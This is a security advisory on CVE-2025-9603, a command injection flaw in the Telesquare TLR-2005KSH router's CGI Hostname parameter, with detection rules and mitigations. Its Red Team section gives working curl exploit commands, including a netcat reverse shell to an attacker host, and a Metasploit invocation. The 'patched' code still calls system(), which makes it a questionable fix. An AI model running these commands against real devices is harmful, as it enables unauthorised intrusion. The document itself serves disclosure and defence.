CVE-2025-9603

Executive Summary

CVE-2025-9603 is a critical command injection vulnerability in the Telesquare TLR-2005KSH router, specifically in firmware version 1.2.4. The flaw resides in the /cgi-bin/internet.cgi?Command=lanCfg endpoint, where the Hostname argument is not properly sanitized, allowing an unauthenticated remote attacker to inject arbitrary operating system commands. The vendor has not responded to disclosure attempts, and no official patch is available. With a CVSS score of 6.3 (Medium), the vulnerability poses a significant risk to network integrity and confidentiality, especially given the public availability of exploit details. This report provides a comprehensive analysis, detection rules, and mitigation strategies for both Red and Blue teams.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – exploitation does not affect other components.
• Confidentiality (C): Low – limited data exposure.
• Integrity (I): Low – limited ability to modify data.
• Availability (A): Low – limited impact on service availability.

Threat Level: High due to remote unauthenticated exploitation, public PoC, and lack of vendor patch.

Deep Dive & Mechanics

The vulnerability is a classic command injection flaw in the CGI script internet.cgi. The Command=lanCfg parameter triggers a function that processes the Hostname argument. The application likely passes this input directly to a system shell command (e.g., system(), popen(), or exec()) without proper sanitization or escaping. An attacker can inject shell metacharacters such as ;, |, &, or backticks to execute arbitrary commands.

Example vulnerable request:

GET /cgi-bin/internet.cgi?Command=lanCfg&Hostname=test;id HTTP/1.1
Host: <target_ip>

The server will execute id after the legitimate hostname setting command, returning the output to the attacker.

Root Cause: Lack of input validation and use of unsafe functions that invoke a shell. The Hostname parameter is not filtered for shell metacharacters.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.

Vulnerable Code (Conceptual C):

void handle_lanCfg(char *hostname) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "echo %s >> /etc/hostname", hostname);
    system(cmd); // Command injection
}

Patched Code (Conceptual C):

void handle_lanCfg(char *hostname) {
    // Sanitize input: remove shell metacharacters
    char sanitized[256];
    int j = 0;
    for (int i = 0; hostname[i] != '\0'; i++) {
        if (isalnum(hostname[i]) || hostname[i] == '.' || hostname[i] == '-') {
            sanitized[j++] = hostname[i];
        }
    }
    sanitized[j] = '\0';
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "echo %s >> /etc/hostname", sanitized);
    system(cmd); // Now safe
}

Alternative fix: Use execve() with a whitelist of allowed characters and avoid shell invocation entirely.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Telesquare TLR-2005KSH router (or use an emulator like QEMU with the firmware).
2. Connect to the router's management interface (default IP often 192.168.1.1).
3. Use a tool like curl or Burp Suite to send the malicious request.

Exploit Command:

curl -G "http://<target_ip>/cgi-bin/internet.cgi" --data-urlencode "Command=lanCfg" --data-urlencode "Hostname=test;id"

Advanced Exploit (Reverse Shell):

curl -G "http://<target_ip>/cgi-bin/internet.cgi" --data-urlencode "Command=lanCfg" --data-urlencode "Hostname=test;nc -e /bin/sh <attacker_ip> 4444"

Metasploit Module (if available):

use exploit/multi/http/telesquare_tlr2005ksh_cmd_inject
set RHOSTS <target_ip>
set LHOST <attacker_ip>
run

Blue Team

Detection:

• Monitor HTTP GET requests to /cgi-bin/internet.cgi with Command=lanCfg and suspicious Hostname values containing shell metacharacters (;, |, &, `, $()).
• Look for outbound connections from the router to unusual IPs on ports like 4444 (reverse shell).
• Check for unexpected processes spawned by the web server (e.g., id, nc, bash).

Honeypot:

• Deploy a low-interaction honeypot mimicking the TLR-2005KSH CGI endpoint to capture exploit attempts.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /cgi-bin/internet.cgi?Command=lanCfg&Hostname=* containing shell metacharacters.
• Outbound connections from the router to external IPs on high ports (e.g., 4444, 1337).
• DNS queries to domains associated with C2 infrastructure.

File IOCs:

• Modified /etc/hostname file containing injected commands.
• Presence of /tmp/.exploit or similar temporary files.
• Unusual entries in /var/log/messages or /var/log/syslog.

Process IOCs:

• Running processes like id, nc, bash spawned by the web server (e.g., httpd or lighttpd).

Detection Engineering

YARA Rule

rule CVE_2025_9603_Command_Injection {
    meta:
        description = "Detects command injection attempts against Telesquare TLR-2005KSH"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9603"
    strings:
        $cgi_path = "/cgi-bin/internet.cgi"
        $lanCfg = "Command=lanCfg"
        $shell_meta = /[;&|`$(){}]/
    condition:
        $cgi_path and $lanCfg and $shell_meta
}

Sigma Rule

title: CVE-2025-9603 Command Injection Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP requests targeting the vulnerable CGI endpoint with shell metacharacters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/cgi-bin/internet.cgi?Command=lanCfg&Hostname='
        cs-uri-query|re: '.*[;&|`$(){}].*'
    condition: selection
falsepositives:
    - Legitimate hostnames containing special characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9603 Telesquare TLR-2005KSH Command Injection Attempt"; flow:to_server; content:"/cgi-bin/internet.cgi"; http_uri; content:"Command=lanCfg"; http_uri; pcre:"/Hostname=[^&]*[;&|`$(){}]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place the TLR-2005KSH router on a separate VLAN with strict firewall rules blocking inbound/outbound traffic to untrusted networks.
2. Disable remote management: If not required, disable the web interface or restrict access to trusted IPs only.
3. Apply virtual patching: Use a WAF (e.g., ModSecurity) to block requests containing shell metacharacters in the Hostname parameter.

Long-term Fix:

• Since the vendor is unresponsive, consider replacing the device with a supported alternative.
• If replacement is not possible, implement a reverse proxy that sanitizes the Hostname parameter before forwarding to the router.

Workaround:

• Modify the firmware (if possible) to patch the vulnerable CGI script. This requires reverse engineering and re-flashing, which may void warranty.

Monitoring:

• Continuously monitor logs for exploitation attempts using the provided detection rules.
• Set up alerts for any outbound connections from the router.

Valters IT